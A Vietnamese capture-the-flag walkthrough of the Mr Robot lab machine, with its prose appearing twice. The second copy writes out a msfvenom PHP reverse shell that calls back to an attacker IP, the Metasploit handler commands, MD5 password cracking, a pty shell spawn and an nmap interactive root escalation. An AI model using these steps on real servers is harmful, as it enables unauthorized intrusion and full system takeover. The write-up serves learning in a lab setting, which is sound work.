CTF - Mr Robot: Part 2 (End)
Phần trước chúng ta đã truy cập vào trang quản lý của website Mr Robot bằng cách thực hiện nhiều bước tấn công khác nhau. Ngoài ra, chúng ta còn thu thập được chìa khóa đầu tiên trong 3 chìa khóa mà chúng ta cần tìm. Mình sẽ tiếp tục thực hiện tìm kiếm 2 chìa khóa còn sót lại trong máy chủ Mr Robot.
Để chiếm quyền máy chủ Mr Robot, chúng ta cần phải thực hiện việc tải lên shell cho phép thực hiện các khai thác đến máy chủ. Đầu tiên, chúng ta cần cài đặt một plugin có tên là File manager (Do ở đây Elliot đã là admin nên có thể cài đặt được bất kỳ plugin nào).
File manager cho phép chúng ta quản lý thư mục và file dễ dàng hơn trên website. Trên menu bên phải trỏ vào Plugin và chọn phần Add new để tiến hành cài đặt mới plugin. Ở ô Search Plugins, gõ vào ô tìm kiếm là File manager. Nó sẽ có dạng giống như hình bên dưới đây:
Nhấn vào nút Install Now để bắt đầu cài đặt plugin. Sau khi cài đặt xong, chuyển sang phần Installed Plugins và chọn plugin WP File manager để tiến hành Active. Tải lại trang và chọn phần File manager để kiểm tra file.
Chúng ta vào thư mục wp-content/uploads để tiến hành kiểm tra nội dụng trước khi thực hiện việc tải lên shell. Trong thư mục uploads, nội dung sẽ có dạng như hình dưới:
Để thực hiện việc tải shell, chúng ta cần phải chuẩn bị shell trước đã. Công cụ MSFvenom là sự kết hợp giữa Msfpayload và Msfencode, được đưa vào bộ công cụ pentest rất nổi tiếng đó là Metasploit.
Do website này sử dụng nền tảng Wordpress (ngôn ngữ Php) nên mình sẽ tạo một con shell dạng php bằng câu lệnh dưới đây:
Kiểm tra shell.php bằng câu lệnh sau:
Về cơ bản, đoạn code này sẽ tiến hành tạo một kết nối dạng socket và cho phép thực hiện các quyền cao đối với máy chủ website. LHOST chứa địa chỉ IP của máy attacker và LPORT sẽ tiến hành kết nối thông qua port 4444. Đoạn code sẽ có dạng như hình dưới đây:
Mở giao diện quản lý website và tiến hành tải file shell.php. Sau khi upload xong, chúng ta mở Terminal và gõ msfconsole để mở công cụ Metasploit.
Công cụ Metasploit là một công cụ khá quen thuộc đối với các nhà bảo mật bởi vì họ hỗ trợ một lượng lớn thư viện các nền tảng và các mã lỗi khác nhau. Chúng ta sẽ tiến hành gõ một loạt các câu lệnh sau:
Chúng ta tiến hành chạy shell bằng đường dẫn như sau: http://192.168.226.158/wp-content/uploads/shell.php. Chúng ta đã thành công trong việc thiết lập kết nối đến máy chủ. Chúng ta gõ câu lệnh dưới đây để tiến hành tương tác với máy chủ:
Tiến hành kiểm tra thông tin hệ điều hành máy chủ bằng lệnh sau:
Máy chủ sử dụng hệ điều hành Linux, tức là chúng ta cần phải tìm xem trong các thư mục của hệ điều hành này thì nơi nào sẽ chứa chìa khóa cần tìm.
Đầu tiên, chúng ta cần kiểm tra được thư mục home có người dùng nào đang sử dụng. Chúng ta gõ các lệnh sau để kiểm tra:
Chúng ta phát hiện user đang sử dụng có tên là robot, chúng ta tiếp tục vào thư mục robot và sẽ thấy điều bất ngờ xảy ra:
Chúng ta đã tìm ra được chìa khóa thứ 2, nhưng chúng ta không có cách nào để mở được nó. Chúng ta để ý rằng có sự xuất hiện của file password.raw-md5. File mật khẩu này đã bị mã hóa bằng mã MD5, chúng ta sẽ kiểm tra file này và tiến hành giải mã nó.
Kiểm tra nội dung file bằng lệnh dưới đây:
Dán đoạn mã này lên website https://www.md5online.org/ và ta sẽ được kết quả như sau:
Chúng ta đã có mật khẩu, việc cuối cùng là đăng nhập máy chủ quyền cao nhất - root. Chúng ta gõ câu lệnh sau trong Metasploit:
Câu lệnh này sẽ cho phép tạo tiến trình thực thi các lệnh trong máy chủ. Nhưng có 1 vấn đề khá nan giải, đó là bạn không thể đăng nhập đơn giản chỉ với câu lệnh sudo -i do chúng ta đang thực hiện kết nối thông qua socket.
Để thực hiện việc này, chúng ta cần phải kiểm tra xem máy chủ này có sử dụng Python hay không với câu lệnh sau:
Khá may mắn khi máy chủ đã tích hợp sẵn Python. Việc bây giờ của chúng ta là viết một đoạn script cho phép thực hiện các câu lệnh bash thông qua các thư viện có sẵn trong Python. Đoạn script sẽ có dạng như thế này:
Câu lệnh trên thực hiện import các câu lệnh bash từ thư viện pty cho phép thực thi các lệnh trên máy chủ. Để chạy đoạn script này gõ câu lệnh như sau:
Bây giờ chúng ta đang ở trong trạng thái có thể thực hiện các lệnh giống như Terminal của Linux. Nếu lưu ý một tý, có thể thấy user mặc định của máy chủ này là daemon. Chúng ta cần phải đăng nhập với user là robot, có thể thực hiện các lệnh dưới đây:
Nó yêu cầu chúng ta phải nhập mật khẩu, chúng ta hãy lấy mật khẩu mà chúng ta vừa giải mã ra được.
Bây giờ chúng ta có thể xem được dữ liệu của chìa khóa thứ 2 rồi, thực hiện câu lệnh này:
Chúng ta thử vào thư mục root bằng câu lệnh sau:
Chúng ta đành phải truy cập thư mục root thông qua công cụ Nmap. Ngoài tính năng quét mạng ra, nó còn có thể giúp chúng ta tương tác với hệ điều hành. Chúng ta sẽ thực hiện câu lệnh sau để tương tác với hệ điều hành.
Đoạn code trên sẽ cho phép chúng ta leo thang đặc quyền (privilege escalation) và chiếm quyền kiểm soát hệ thống. Chúng ta sẽ kiểm tra thư mục root với các câu lệnh sau:
Chúng ta đã tìm được chìa khóa thứ ba. Chúng ta hiển thị dữ liệu chìa khóa với cách thức như trên. Dưới đây là kết quả:
Vừa rồi chúng ta đã thực hiện rất nhiều thủ thuật để có thể tìm thấy 2 chìa khóa còn lại. Từ đây chúng ta rút được nhiều kinh nghiệm như sau:
Thực hành
Bước 6: Upload Shell
Để chiếm quyền máy chủ Mr Robot, chúng ta cần phải thực hiện việc tải lên shell cho phép thực hiện các khai thác đến máy chủ. Đầu tiên, chúng ta cần cài đặt một plugin có tên là File manager (Do ở đây Elliot đã là admin nên có thể cài đặt được bất kỳ plugin nào).
File manager cho phép chúng ta quản lý thư mục và file dễ dàng hơn trên website. Trên menu bên phải trỏ vào Plugin và chọn phần Add new để tiến hành cài đặt mới plugin. Ở ô Search Plugins, gõ vào ô tìm kiếm là File manager. Nó sẽ có dạng giống như hình bên dưới đây:
Hình 01: File manager |
Nhấn vào nút Install Now để bắt đầu cài đặt plugin. Sau khi cài đặt xong, chuyển sang phần Installed Plugins và chọn plugin WP File manager để tiến hành Active. Tải lại trang và chọn phần File manager để kiểm tra file.
Chúng ta vào thư mục wp-content/uploads để tiến hành kiểm tra nội dụng trước khi thực hiện việc tải lên shell. Trong thư mục uploads, nội dung sẽ có dạng như hình dưới:
Hình 02: Thư mục uploads |
Để thực hiện việc tải shell, chúng ta cần phải chuẩn bị shell trước đã. Công cụ MSFvenom là sự kết hợp giữa Msfpayload và Msfencode, được đưa vào bộ công cụ pentest rất nổi tiếng đó là Metasploit.
Do website này sử dụng nền tảng Wordpress (ngôn ngữ Php) nên mình sẽ tạo một con shell dạng php bằng câu lệnh dưới đây:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.226.155 LPORT=4444 -f raw > shell.php
Kiểm tra shell.php bằng câu lệnh sau:
cat shell.php
Về cơ bản, đoạn code này sẽ tiến hành tạo một kết nối dạng socket và cho phép thực hiện các quyền cao đối với máy chủ website. LHOST chứa địa chỉ IP của máy attacker và LPORT sẽ tiến hành kết nối thông qua port 4444. Đoạn code sẽ có dạng như hình dưới đây:
Hình 03: Nội dung đoạn code shell.php |
Mở giao diện quản lý website và tiến hành tải file shell.php. Sau khi upload xong, chúng ta mở Terminal và gõ msfconsole để mở công cụ Metasploit.
Bước 7: Khai thác shell bằng Metasploit
Công cụ Metasploit là một công cụ khá quen thuộc đối với các nhà bảo mật bởi vì họ hỗ trợ một lượng lớn thư viện các nền tảng và các mã lỗi khác nhau. Chúng ta sẽ tiến hành gõ một loạt các câu lệnh sau:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.226.155
set LPORT 4444
exploit -j -z
Hình 04: Sử dụng Metasploit để khai thác |
Chúng ta tiến hành chạy shell bằng đường dẫn như sau: http://192.168.226.158/wp-content/uploads/shell.php. Chúng ta đã thành công trong việc thiết lập kết nối đến máy chủ. Chúng ta gõ câu lệnh dưới đây để tiến hành tương tác với máy chủ:
sessions -i 1
Hình 05: Thiết lập tương tác với sessions |
Tiến hành kiểm tra thông tin hệ điều hành máy chủ bằng lệnh sau:
sysinfo
Hình 06: Thông tin hệ thống |
Máy chủ sử dụng hệ điều hành Linux, tức là chúng ta cần phải tìm xem trong các thư mục của hệ điều hành này thì nơi nào sẽ chứa chìa khóa cần tìm.
Đầu tiên, chúng ta cần kiểm tra được thư mục home có người dùng nào đang sử dụng. Chúng ta gõ các lệnh sau để kiểm tra:
cd /home
ls
Hình 07: Thư mục home |
Chúng ta phát hiện user đang sử dụng có tên là robot, chúng ta tiếp tục vào thư mục robot và sẽ thấy điều bất ngờ xảy ra:
Hình 08: Thư mục robot |
Chúng ta đã tìm ra được chìa khóa thứ 2, nhưng chúng ta không có cách nào để mở được nó. Chúng ta để ý rằng có sự xuất hiện của file password.raw-md5. File mật khẩu này đã bị mã hóa bằng mã MD5, chúng ta sẽ kiểm tra file này và tiến hành giải mã nó.
Kiểm tra nội dung file bằng lệnh dưới đây:
cat password.raw-md5
Hình 09: Nội dung file password.raw-md5 |
Dán đoạn mã này lên website https://www.md5online.org/ và ta sẽ được kết quả như sau:
Hình 10: Giải mã MD5 |
Chúng ta đã có mật khẩu, việc cuối cùng là đăng nhập máy chủ quyền cao nhất - root. Chúng ta gõ câu lệnh sau trong Metasploit:
shell
Hình 11: Câu lệnh shell |
Câu lệnh này sẽ cho phép tạo tiến trình thực thi các lệnh trong máy chủ. Nhưng có 1 vấn đề khá nan giải, đó là bạn không thể đăng nhập đơn giản chỉ với câu lệnh sudo -i do chúng ta đang thực hiện kết nối thông qua socket.
Để thực hiện việc này, chúng ta cần phải kiểm tra xem máy chủ này có sử dụng Python hay không với câu lệnh sau:
python --version
Hình 12: Kiểm tra phiên bản Python |
Khá may mắn khi máy chủ đã tích hợp sẵn Python. Việc bây giờ của chúng ta là viết một đoạn script cho phép thực hiện các câu lệnh bash thông qua các thư viện có sẵn trong Python. Đoạn script sẽ có dạng như thế này:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
Câu lệnh trên thực hiện import các câu lệnh bash từ thư viện pty cho phép thực thi các lệnh trên máy chủ. Để chạy đoạn script này gõ câu lệnh như sau:
python /tmp/asdf.py
Hình 13: Thực hiện shell |
Bây giờ chúng ta đang ở trong trạng thái có thể thực hiện các lệnh giống như Terminal của Linux. Nếu lưu ý một tý, có thể thấy user mặc định của máy chủ này là daemon. Chúng ta cần phải đăng nhập với user là robot, có thể thực hiện các lệnh dưới đây:
su - robot
Nó yêu cầu chúng ta phải nhập mật khẩu, chúng ta hãy lấy mật khẩu mà chúng ta vừa giải mã ra được.
Hình 14: Đăng nhập user robot |
Bây giờ chúng ta có thể xem được dữ liệu của chìa khóa thứ 2 rồi, thực hiện câu lệnh này:
cat key-2-of-3.txt
Hình 15: Chìa khóa thứ 2 |
Bước 8: Tìm chìa khóa cuối cùng
Chúng ta thử vào thư mục root bằng câu lệnh sau:
cd /root
Hình 16: Root denied |
Chúng ta đành phải truy cập thư mục root thông qua công cụ Nmap. Ngoài tính năng quét mạng ra, nó còn có thể giúp chúng ta tương tác với hệ điều hành. Chúng ta sẽ thực hiện câu lệnh sau để tương tác với hệ điều hành.
nmap --interactive
Hình 17: Nmap interactive |
Đoạn code trên sẽ cho phép chúng ta leo thang đặc quyền (privilege escalation) và chiếm quyền kiểm soát hệ thống. Chúng ta sẽ kiểm tra thư mục root với các câu lệnh sau:
!sh
whoami
cd /root
ls
Chúng ta đã tìm được chìa khóa thứ ba. Chúng ta hiển thị dữ liệu chìa khóa với cách thức như trên. Dưới đây là kết quả:
Hình 18: Chìa khóa thứ 3 |
Kết luận
Vừa rồi chúng ta đã thực hiện rất nhiều thủ thuật để có thể tìm thấy 2 chìa khóa còn lại. Từ đây chúng ta rút được nhiều kinh nghiệm như sau:
- Cần phải kiểm tra file robots.txt kỹ càng để cho phép truy cập hay không truy cập thư mục nào.
- Giao thức http thực sự không an toàn. Cần phải nâng cấp thành chứng chỉ SSL để được mã hóa khi gửi dữ liệu lên server.
- Cần phải đặt mật khẩu có độ dài và độ phức tạp lớn.